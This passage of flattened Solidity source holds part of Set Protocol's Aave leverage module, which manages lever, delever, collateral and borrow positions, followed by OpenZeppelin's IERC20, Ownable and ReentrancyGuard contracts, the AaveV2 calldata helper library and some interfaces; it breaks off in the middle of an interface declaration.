memory) { return ( enabledAssets[_setToken].collateralAssets, enabledAssets[_setToken].borrowAssets ); } /* ============ Internal Functions ============ */ /** * @dev Invoke deposit from SetToken using AaveV2 library. Mints aTokens for SetToken. */ function _deposit(ISetToken _setToken, ILendingPool _lendingPool, IERC20 _asset, uint256 _notionalQuantity) internal { _setToken.invokeApprove(address(_asset), address(_lendingPool), _notionalQuantity); _setToken.invokeDeposit(_lendingPool, address(_asset), _notionalQuantity); } /** * @dev Invoke withdraw from SetToken using AaveV2 library. Burns aTokens and returns underlying to SetToken. */ function _withdraw(ISetToken _setToken, ILendingPool _lendingPool, IERC20 _asset, uint256 _notionalQuantity) internal { _setToken.invokeWithdraw(_lendingPool, address(_asset), _notionalQuantity); } /** * @dev Invoke repay from SetToken using AaveV2 library. Burns DebtTokens for SetToken. */ function _repayBorrow(ISetToken _setToken, ILendingPool _lendingPool, IERC20 _asset, uint256 _notionalQuantity) internal { _setToken.invokeApprove(address(_asset), address(_lendingPool), _notionalQuantity); _setToken.invokeRepay(_lendingPool, address(_asset), _notionalQuantity, BORROW_RATE_MODE); } /** * @dev Invoke borrow from the SetToken during issuance hook. Since we only need to interact with AAVE once we fetch the * lending pool in this function to optimize vs forcing a fetch twice during lever/delever. */ function _repayBorrowForHook(ISetToken _setToken, IERC20 _asset, uint256 _notionalQuantity) internal { _repayBorrow(_setToken, ILendingPool(lendingPoolAddressesProvider.getLendingPool()), _asset, _notionalQuantity); } /** * @dev Invoke borrow from the SetToken using AaveV2 library. Mints DebtTokens for SetToken. */ function _borrow(ISetToken _setToken, ILendingPool _lendingPool, IERC20 _asset, uint256 _notionalQuantity) internal { _setToken.invokeBorrow(_lendingPool, address(_asset), _notionalQuantity, BORROW_RATE_MODE); } /** * @dev Invoke borrow from the SetToken during issuance hook. Since we only need to interact with AAVE once we fetch the * lending pool in this function to optimize vs forcing a fetch twice during lever/delever. */ function _borrowForHook(ISetToken _setToken, IERC20 _asset, uint256 _notionalQuantity) internal { _borrow(_setToken, ILendingPool(lendingPoolAddressesProvider.getLendingPool()), _asset, _notionalQuantity); } /** * @dev Invokes approvals, gets trade call data from exchange adapter and invokes trade from SetToken * @return uint256 The quantity of tokens received post-trade */ function _executeTrade( ActionInfo memory _actionInfo, IERC20 _sendToken, IERC20 _receiveToken, bytes memory _data ) internal returns (uint256) { ISetToken setToken = _actionInfo.setToken; uint256 notionalSendQuantity = _actionInfo.notionalSendQuantity; setToken.invokeApprove( address(_sendToken), _actionInfo.exchangeAdapter.getSpender(), notionalSendQuantity ); ( address targetExchange, uint256 callValue, bytes memory methodData ) = _actionInfo.exchangeAdapter.getTradeCalldata( address(_sendToken), address(_receiveToken), address(setToken), notionalSendQuantity, _actionInfo.minNotionalReceiveQuantity, _data ); setToken.invoke(targetExchange, callValue, methodData); uint256 receiveTokenQuantity = _receiveToken.balanceOf(address(setToken)).sub(_actionInfo.preTradeReceiveTokenBalance); require( receiveTokenQuantity >= _actionInfo.minNotionalReceiveQuantity, "Slippage too high" ); return receiveTokenQuantity; } /** * @dev Calculates protocol fee on module and pays protocol fee from SetToken * @return uint256 Total protocol fee paid */ function _accrueProtocolFee(ISetToken _setToken, IERC20 _receiveToken, uint256 _exchangedQuantity) internal returns(uint256) { uint256 protocolFeeTotal = getModuleFee(PROTOCOL_TRADE_FEE_INDEX, _exchangedQuantity); payProtocolFeeFromSetToken(_setToken, address(_receiveToken), protocolFeeTotal); return protocolFeeTotal; } /** * @dev Updates the collateral (aToken held) and borrow position (variableDebtToken held) of the SetToken */ function _updateLeverPositions(ActionInfo memory _actionInfo, IERC20 _borrowAsset) internal { IAToken aToken = underlyingToReserveTokens[_actionInfo.collateralAsset].aToken; _updateCollateralPosition( _actionInfo.setToken, aToken, _getCollateralPosition( _actionInfo.setToken, aToken, _actionInfo.setTotalSupply ) ); _updateBorrowPosition( _actionInfo.setToken, _borrowAsset, _getBorrowPosition( _actionInfo.setToken, _borrowAsset, _actionInfo.setTotalSupply ) ); } /** * @dev Updates positions as per _updateLeverPositions and updates Default position for borrow asset in case Set is * delevered all the way to zero any remaining borrow asset after the debt is paid can be added as a position. */ function _updateDeleverPositions(ActionInfo memory _actionInfo, IERC20 _repayAsset) internal { // if amount of tokens traded for exceeds debt, update default position first to save gas on editing borrow position uint256 repayAssetBalance = _repayAsset.balanceOf(address(_actionInfo.setToken)); if (repayAssetBalance != _actionInfo.preTradeReceiveTokenBalance) { _actionInfo.setToken.calculateAndEditDefaultPosition( address(_repayAsset), _actionInfo.setTotalSupply, _actionInfo.preTradeReceiveTokenBalance ); } _updateLeverPositions(_actionInfo, _repayAsset); } /** * @dev Updates default position unit for given aToken on SetToken */ function _updateCollateralPosition(ISetToken _setToken, IAToken _aToken, uint256 _newPositionUnit) internal { _setToken.editDefaultPosition(address(_aToken), _newPositionUnit); } /** * @dev Updates external position unit for given borrow asset on SetToken */ function _updateBorrowPosition(ISetToken _setToken, IERC20 _underlyingAsset, int256 _newPositionUnit) internal { _setToken.editExternalPosition(address(_underlyingAsset), address(this), _newPositionUnit, ""); } /** * @dev Construct the ActionInfo struct for lever and delever * @return ActionInfo Instance of constructed ActionInfo struct */ function _createAndValidateActionInfo( ISetToken _setToken, IERC20 _sendToken, IERC20 _receiveToken, uint256 _sendQuantityUnits, uint256 _minReceiveQuantityUnits, string memory _tradeAdapterName, bool _isLever ) internal view returns(ActionInfo memory) { uint256 totalSupply = _setToken.totalSupply(); return _createAndValidateActionInfoNotional( _setToken, _sendToken, _receiveToken, _sendQuantityUnits.preciseMul(totalSupply), _minReceiveQuantityUnits.preciseMul(totalSupply), _tradeAdapterName, _isLever, totalSupply ); } /** * @dev Construct the ActionInfo struct for lever and delever accepting notional units * @return ActionInfo Instance of constructed ActionInfo struct */ function _createAndValidateActionInfoNotional( ISetToken _setToken, IERC20 _sendToken, IERC20 _receiveToken, uint256 _notionalSendQuantity, uint256 _minNotionalReceiveQuantity, string memory _tradeAdapterName, bool _isLever, uint256 _setTotalSupply ) internal view returns(ActionInfo memory) { ActionInfo memory actionInfo = ActionInfo ({ exchangeAdapter: IExchangeAdapter(getAndValidateAdapter(_tradeAdapterName)), lendingPool: ILendingPool(lendingPoolAddressesProvider.getLendingPool()), setToken: _setToken, collateralAsset: _isLever ? _receiveToken : _sendToken, borrowAsset: _isLever ? _sendToken : _receiveToken, setTotalSupply: _setTotalSupply, notionalSendQuantity: _notionalSendQuantity, minNotionalReceiveQuantity: _minNotionalReceiveQuantity, preTradeReceiveTokenBalance: IERC20(_receiveToken).balanceOf(address(_setToken)) }); _validateCommon(actionInfo); return actionInfo; } /** * @dev Updates `underlyingToReserveTokens` mappings for given `_underlying` asset. Emits ReserveTokensUpdated event. */ function _addUnderlyingToReserveTokensMapping(IERC20 _underlying) internal { (address aToken, , address variableDebtToken) = protocolDataProvider.getReserveTokensAddresses(address(_underlying)); underlyingToReserveTokens[_underlying].aToken = IAToken(aToken); underlyingToReserveTokens[_underlying].variableDebtToken = IVariableDebtToken(variableDebtToken); emit ReserveTokensUpdated(_underlying, IAToken(aToken), IVariableDebtToken(variableDebtToken)); } /** * @dev Add collateral assets to SetToken. Updates the collateralAssetsEnabled and enabledAssets mappings. * Emits CollateralAssetsUpdated event. */ function _addCollateralAssets(ISetToken _setToken, IERC20[] memory _newCollateralAssets) internal { for(uint256 i = 0; i < _newCollateralAssets.length; i++) { IERC20 collateralAsset = _newCollateralAssets[i]; _validateNewCollateralAsset(_setToken, collateralAsset); _updateUseReserveAsCollateral(_setToken, collateralAsset, true); collateralAssetEnabled[_setToken][collateralAsset] = true; enabledAssets[_setToken].collateralAssets.push(address(collateralAsset)); } emit CollateralAssetsUpdated(_setToken, true, _newCollateralAssets); } /** * @dev Add borrow assets to SetToken. Updates the borrowAssetsEnabled and enabledAssets mappings. * Emits BorrowAssetsUpdated event. */ function _addBorrowAssets(ISetToken _setToken, IERC20[] memory _newBorrowAssets) internal { for(uint256 i = 0; i < _newBorrowAssets.length; i++) { IERC20 borrowAsset = _newBorrowAssets[i]; _validateNewBorrowAsset(_setToken, borrowAsset); borrowAssetEnabled[_setToken][borrowAsset] = true; enabledAssets[_setToken].borrowAssets.push(address(borrowAsset)); } emit BorrowAssetsUpdated(_setToken, true, _newBorrowAssets); } /** * @dev Updates SetToken's ability to use an asset as collateral on Aave */ function _updateUseReserveAsCollateral(ISetToken _setToken, IERC20 _asset, bool _useAsCollateral) internal { /* Note: Aave ENABLES an asset to be used as collateral by `to` address in an `aToken.transfer(to, amount)` call provided 1. msg.sender (from address) isn't the same as `to` address 2. `to` address had zero aToken balance before the transfer 3. transfer `amount` is greater than 0 Note: Aave DISABLES an asset to be used as collateral by `msg.sender`in an `aToken.transfer(to, amount)` call provided 1. msg.sender (from address) isn't the same as `to` address 2. msg.sender has zero balance after the transfer Different states of the SetToken and what this function does in those states: Case 1: Manager adds collateral asset to SetToken before first issuance - Since aToken.balanceOf(setToken) == 0, we do not call `setToken.invokeUserUseReserveAsCollateral` because Aave requires aToken balance to be greater than 0 before enabling/disabling the underlying asset to be used as collateral on Aave markets. Case 2: First issuance of the SetToken - SetToken was initialized with aToken as default position - DebtIssuanceModule reads the default position and transfers corresponding aToken from the issuer to the SetToken - Aave enables aToken to be used as collateral by the SetToken - Manager calls lever() and the aToken is used as collateral to borrow other assets Case 3: Manager removes collateral asset from the SetToken - Disable asset to be used as collateral on SetToken by calling `setToken.invokeSetUserUseReserveAsCollateral` with useAsCollateral equals false - Note: If health factor goes below 1 by removing the collateral asset, then Aave reverts on the above call, thus whole transaction reverts, and manager can't remove corresponding collateral asset Case 4: Manager adds collateral asset after removing it - If aToken.balanceOf(setToken) > 0, we call `setToken.invokeUserUseReserveAsCollateral` and the corresponding aToken is re-enabled as collateral on Aave Case 5: On redemption/delever/liquidated and aToken balance becomes zero - Aave disables aToken to be used as collateral by SetToken Values of variables in below if condition and corresponding action taken: --------------------------------------------------------------------------------------------------------------------- | usageAsCollateralEnabled | _useAsCollateral | aToken.balanceOf() | Action | |--------------------------|-------------------|-----------------------|--------------------------------------------| | true | true | X | Skip invoke. Save gas. | |--------------------------|-------------------|-----------------------|--------------------------------------------| | true | false | greater than 0 | Invoke and set to false. | |--------------------------|-------------------|-----------------------|--------------------------------------------| | true | false | = 0 | Impossible case. Aave disables usage as | | | | | collateral when aToken balance becomes 0 | |--------------------------|-------------------|-----------------------|--------------------------------------------| | false | false | X | Skip invoke. Save gas. | |--------------------------|-------------------|-----------------------|--------------------------------------------| | false | true | greater than 0 | Invoke and set to true. | |--------------------------|-------------------|-----------------------|--------------------------------------------| | false | true | = 0 | Don't invoke. Will revert. | --------------------------------------------------------------------------------------------------------------------- */ (,,,,,,,,bool usageAsCollateralEnabled) = protocolDataProvider.getUserReserveData(address(_asset), address(_setToken)); if ( usageAsCollateralEnabled != _useAsCollateral && underlyingToReserveTokens[_asset].aToken.balanceOf(address(_setToken)) > 0 ) { _setToken.invokeSetUserUseReserveAsCollateral( ILendingPool(lendingPoolAddressesProvider.getLendingPool()), address(_asset), _useAsCollateral ); } } /** * @dev Validate common requirements for lever and delever */ function _validateCommon(ActionInfo memory _actionInfo) internal view { require(collateralAssetEnabled[_actionInfo.setToken][_actionInfo.collateralAsset], "Collateral not enabled"); require(borrowAssetEnabled[_actionInfo.setToken][_actionInfo.borrowAsset], "Borrow not enabled"); require(_actionInfo.collateralAsset != _actionInfo.borrowAsset, "Collateral and borrow asset must be different"); require(_actionInfo.notionalSendQuantity > 0, "Quantity is 0"); } /** * @dev Validates if a new asset can be added as collateral asset for given SetToken */ function _validateNewCollateralAsset(ISetToken _setToken, IERC20 _asset) internal view { require(!collateralAssetEnabled[_setToken][_asset], "Collateral already enabled"); (address aToken, , ) = protocolDataProvider.getReserveTokensAddresses(address(_asset)); require(address(underlyingToReserveTokens[_asset].aToken) == aToken, "Invalid aToken address"); ( , , , , , bool usageAsCollateralEnabled, , , bool isActive, bool isFrozen) = protocolDataProvider.getReserveConfigurationData(address(_asset)); // An active reserve is an alias for a valid reserve on Aave. // We are checking for the availability of the reserve directly on Aave rather than checking our internal `underlyingToReserveTokens` mappings, // because our mappings can be out-of-date if a new reserve is added to Aave require(isActive, "Invalid aave reserve"); // A frozen reserve doesn't allow any new deposit, borrow or rate swap but allows repayments, liquidations and withdrawals require(!isFrozen, "Frozen aave reserve"); require(usageAsCollateralEnabled, "Collateral disabled on Aave"); } /** * @dev Validates if a new asset can be added as borrow asset for given SetToken */ function _validateNewBorrowAsset(ISetToken _setToken, IERC20 _asset) internal view { require(!borrowAssetEnabled[_setToken][_asset], "Borrow already enabled"); ( , , address variableDebtToken) = protocolDataProvider.getReserveTokensAddresses(address(_asset)); require(address(underlyingToReserveTokens[_asset].variableDebtToken) == variableDebtToken, "Invalid variable debt token address"); (, , , , , , bool borrowingEnabled, , bool isActive, bool isFrozen) = protocolDataProvider.getReserveConfigurationData(address(_asset)); require(isActive, "Invalid aave reserve"); require(!isFrozen, "Frozen aave reserve"); require(borrowingEnabled, "Borrowing disabled on Aave"); } /** * @dev Reads aToken balance and calculates default position unit for given collateral aToken and SetToken * * @return uint256 default collateral position unit */ function _getCollateralPosition(ISetToken _setToken, IAToken _aToken, uint256 _setTotalSupply) internal view returns (uint256) { uint256 collateralNotionalBalance = _aToken.balanceOf(address(_setToken)); return collateralNotionalBalance.preciseDiv(_setTotalSupply); } /** * @dev Reads variableDebtToken balance and calculates external position unit for given borrow asset and SetToken * * @return int256 external borrow position unit */ function _getBorrowPosition(ISetToken _setToken, IERC20 _borrowAsset, uint256 _setTotalSupply) internal view returns (int256) { uint256 borrowNotionalBalance = underlyingToReserveTokens[_borrowAsset].variableDebtToken.balanceOf(address(_setToken)); return borrowNotionalBalance.preciseDivCeil(_setTotalSupply).toInt256().mul(-1); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../GSN/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { ILendingPool } from "../../../interfaces/external/aave-v2/ILendingPool.sol"; import { ISetToken } from "../../../interfaces/ISetToken.sol"; /** * @title AaveV2 * @author Set Protocol * * Collection of helper functions for interacting with AaveV2 integrations. */ library AaveV2 { /* ============ External ============ */ /** * Get deposit calldata from SetToken * * Deposits an `_amountNotional` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. User deposits 100 USDC and gets in return 100 aUSDC * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to deposit * @param _amountNotional The amount to be deposited * @param _onBehalfOf The address that will receive the aTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of aTokens * is a different wallet * @param _referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * * @return address Target contract address * @return uint256 Call value * @return bytes Deposit calldata */ function getDepositCalldata( ILendingPool _lendingPool, address _asset, uint256 _amountNotional, address _onBehalfOf, uint16 _referralCode ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "deposit(address,uint256,address,uint16)", _asset, _amountNotional, _onBehalfOf, _referralCode ); return (address(_lendingPool), 0, callData); } /** * Invoke deposit on LendingPool from SetToken * * Deposits an `_amountNotional` of underlying asset into the reserve, receiving in return overlying aTokens. * - E.g. SetToken deposits 100 USDC and gets in return 100 aUSDC * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to deposit * @param _amountNotional The amount to be deposited */ function invokeDeposit( ISetToken _setToken, ILendingPool _lendingPool, address _asset, uint256 _amountNotional ) external { ( , , bytes memory depositCalldata) = getDepositCalldata( _lendingPool, _asset, _amountNotional, address(_setToken), 0 ); _setToken.invoke(address(_lendingPool), 0, depositCalldata); } /** * Get withdraw calldata from SetToken * * Withdraws an `_amountNotional` of underlying asset from the reserve, burning the equivalent aTokens owned * - E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to withdraw * @param _amountNotional The underlying amount to be withdrawn * Note: Passing type(uint256).max will withdraw the entire aToken balance * @param _receiver Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * * @return address Target contract address * @return uint256 Call value * @return bytes Withdraw calldata */ function getWithdrawCalldata( ILendingPool _lendingPool, address _asset, uint256 _amountNotional, address _receiver ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "withdraw(address,uint256,address)", _asset, _amountNotional, _receiver ); return (address(_lendingPool), 0, callData); } /** * Invoke withdraw on LendingPool from SetToken * * Withdraws an `_amountNotional` of underlying asset from the reserve, burning the equivalent aTokens owned * - E.g. SetToken has 100 aUSDC, and receives 100 USDC, burning the 100 aUSDC * * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to withdraw * @param _amountNotional The underlying amount to be withdrawn * Note: Passing type(uint256).max will withdraw the entire aToken balance * * @return uint256 The final amount withdrawn */ function invokeWithdraw( ISetToken _setToken, ILendingPool _lendingPool, address _asset, uint256 _amountNotional ) external returns (uint256) { ( , , bytes memory withdrawCalldata) = getWithdrawCalldata( _lendingPool, _asset, _amountNotional, address(_setToken) ); return abi.decode(_setToken.invoke(address(_lendingPool), 0, withdrawCalldata), (uint256)); } /** * Get borrow calldata from SetToken * * Allows users to borrow a specific `_amountNotional` of the reserve underlying `_asset`, provided that * the borrower already deposited enough collateral, or he was given enough allowance by a credit delegator * on the corresponding debt token (StableDebtToken or VariableDebtToken) * * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to borrow * @param _amountNotional The amount to be borrowed * @param _interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable * @param _referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man * @param _onBehalfOf Address of the user who will receive the debt. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the * credit delegator if he has been given credit delegation allowance * * @return address Target contract address * @return uint256 Call value * @return bytes Borrow calldata */ function getBorrowCalldata( ILendingPool _lendingPool, address _asset, uint256 _amountNotional, uint256 _interestRateMode, uint16 _referralCode, address _onBehalfOf ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "borrow(address,uint256,uint256,uint16,address)", _asset, _amountNotional, _interestRateMode, _referralCode, _onBehalfOf ); return (address(_lendingPool), 0, callData); } /** * Invoke borrow on LendingPool from SetToken * * Allows SetToken to borrow a specific `_amountNotional` of the reserve underlying `_asset`, provided that * the SetToken already deposited enough collateral, or it was given enough allowance by a credit delegator * on the corresponding debt token (StableDebtToken or VariableDebtToken) * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset to borrow * @param _amountNotional The amount to be borrowed * @param _interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable */ function invokeBorrow( ISetToken _setToken, ILendingPool _lendingPool, address _asset, uint256 _amountNotional, uint256 _interestRateMode ) external { ( , , bytes memory borrowCalldata) = getBorrowCalldata( _lendingPool, _asset, _amountNotional, _interestRateMode, 0, address(_setToken) ); _setToken.invoke(address(_lendingPool), 0, borrowCalldata); } /** * Get repay calldata from SetToken * * Repays a borrowed `_amountNotional` on a specific `_asset` reserve, burning the equivalent debt tokens owned * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the borrowed underlying asset previously borrowed * @param _amountNotional The amount to repay * Note: Passing type(uint256).max will repay the whole debt for `_asset` on the specific `_interestRateMode` * @param _interestRateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * @param _onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the * user calling the function if he wants to reduce/remove his own debt, or the address of any other * other borrower whose debt should be removed * * @return address Target contract address * @return uint256 Call value * @return bytes Repay calldata */ function getRepayCalldata( ILendingPool _lendingPool, address _asset, uint256 _amountNotional, uint256 _interestRateMode, address _onBehalfOf ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "repay(address,uint256,uint256,address)", _asset, _amountNotional, _interestRateMode, _onBehalfOf ); return (address(_lendingPool), 0, callData); } /** * Invoke repay on LendingPool from SetToken * * Repays a borrowed `_amountNotional` on a specific `_asset` reserve, burning the equivalent debt tokens owned * - E.g. SetToken repays 100 USDC, burning 100 variable/stable debt tokens * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the borrowed underlying asset previously borrowed * @param _amountNotional The amount to repay * Note: Passing type(uint256).max will repay the whole debt for `_asset` on the specific `_interestRateMode` * @param _interestRateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable * * @return uint256 The final amount repaid */ function invokeRepay( ISetToken _setToken, ILendingPool _lendingPool, address _asset, uint256 _amountNotional, uint256 _interestRateMode ) external returns (uint256) { ( , , bytes memory repayCalldata) = getRepayCalldata( _lendingPool, _asset, _amountNotional, _interestRateMode, address(_setToken) ); return abi.decode(_setToken.invoke(address(_lendingPool), 0, repayCalldata), (uint256)); } /** * Get setUserUseReserveAsCollateral calldata from SetToken * * Allows borrower to enable/disable a specific deposited asset as collateral * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset deposited * @param _useAsCollateral true` if the user wants to use the deposit as collateral, `false` otherwise * * @return address Target contract address * @return uint256 Call value * @return bytes SetUserUseReserveAsCollateral calldata */ function getSetUserUseReserveAsCollateralCalldata( ILendingPool _lendingPool, address _asset, bool _useAsCollateral ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "setUserUseReserveAsCollateral(address,bool)", _asset, _useAsCollateral ); return (address(_lendingPool), 0, callData); } /** * Invoke an asset to be used as collateral on Aave from SetToken * * Allows SetToken to enable/disable a specific deposited asset as collateral * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset deposited * @param _useAsCollateral true` if the user wants to use the deposit as collateral, `false` otherwise */ function invokeSetUserUseReserveAsCollateral( ISetToken _setToken, ILendingPool _lendingPool, address _asset, bool _useAsCollateral ) external { ( , , bytes memory callData) = getSetUserUseReserveAsCollateralCalldata( _lendingPool, _asset, _useAsCollateral ); _setToken.invoke(address(_lendingPool), 0, callData); } /** * Get swapBorrowRate calldata from SetToken * * Allows a borrower to toggle his debt between stable and variable mode * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset borrowed * @param _rateMode The rate mode that the user wants to swap to * * @return address Target contract address * @return uint256 Call value * @return bytes SwapBorrowRate calldata */ function getSwapBorrowRateModeCalldata( ILendingPool _lendingPool, address _asset, uint256 _rateMode ) public pure returns (address, uint256, bytes memory) { bytes memory callData = abi.encodeWithSignature( "swapBorrowRateMode(address,uint256)", _asset, _rateMode ); return (address(_lendingPool), 0, callData); } /** * Invoke to swap borrow rate of SetToken * * Allows SetToken to toggle it's debt between stable and variable mode * @param _setToken Address of the SetToken * @param _lendingPool Address of the LendingPool contract * @param _asset The address of the underlying asset borrowed * @param _rateMode The rate mode that the user wants to swap to */ function invokeSwapBorrowRateMode( ISetToken _setToken, ILendingPool _lendingPool, address _asset, uint256 _rateMode ) external { ( , , bytes memory callData) = getSwapBorrowRateModeCalldata( _lendingPool, _asset, _rateMode ); _setToken.invoke(address(_lendingPool), 0, callData); } } /* Copyright 2021 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; interface IAToken is IERC20 { function UNDERLYING_ASSET_ADDRESS() external view returns (address); } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; interface IController { function addSet(address _setToken) external; function feeRecipient() external view returns(address); function 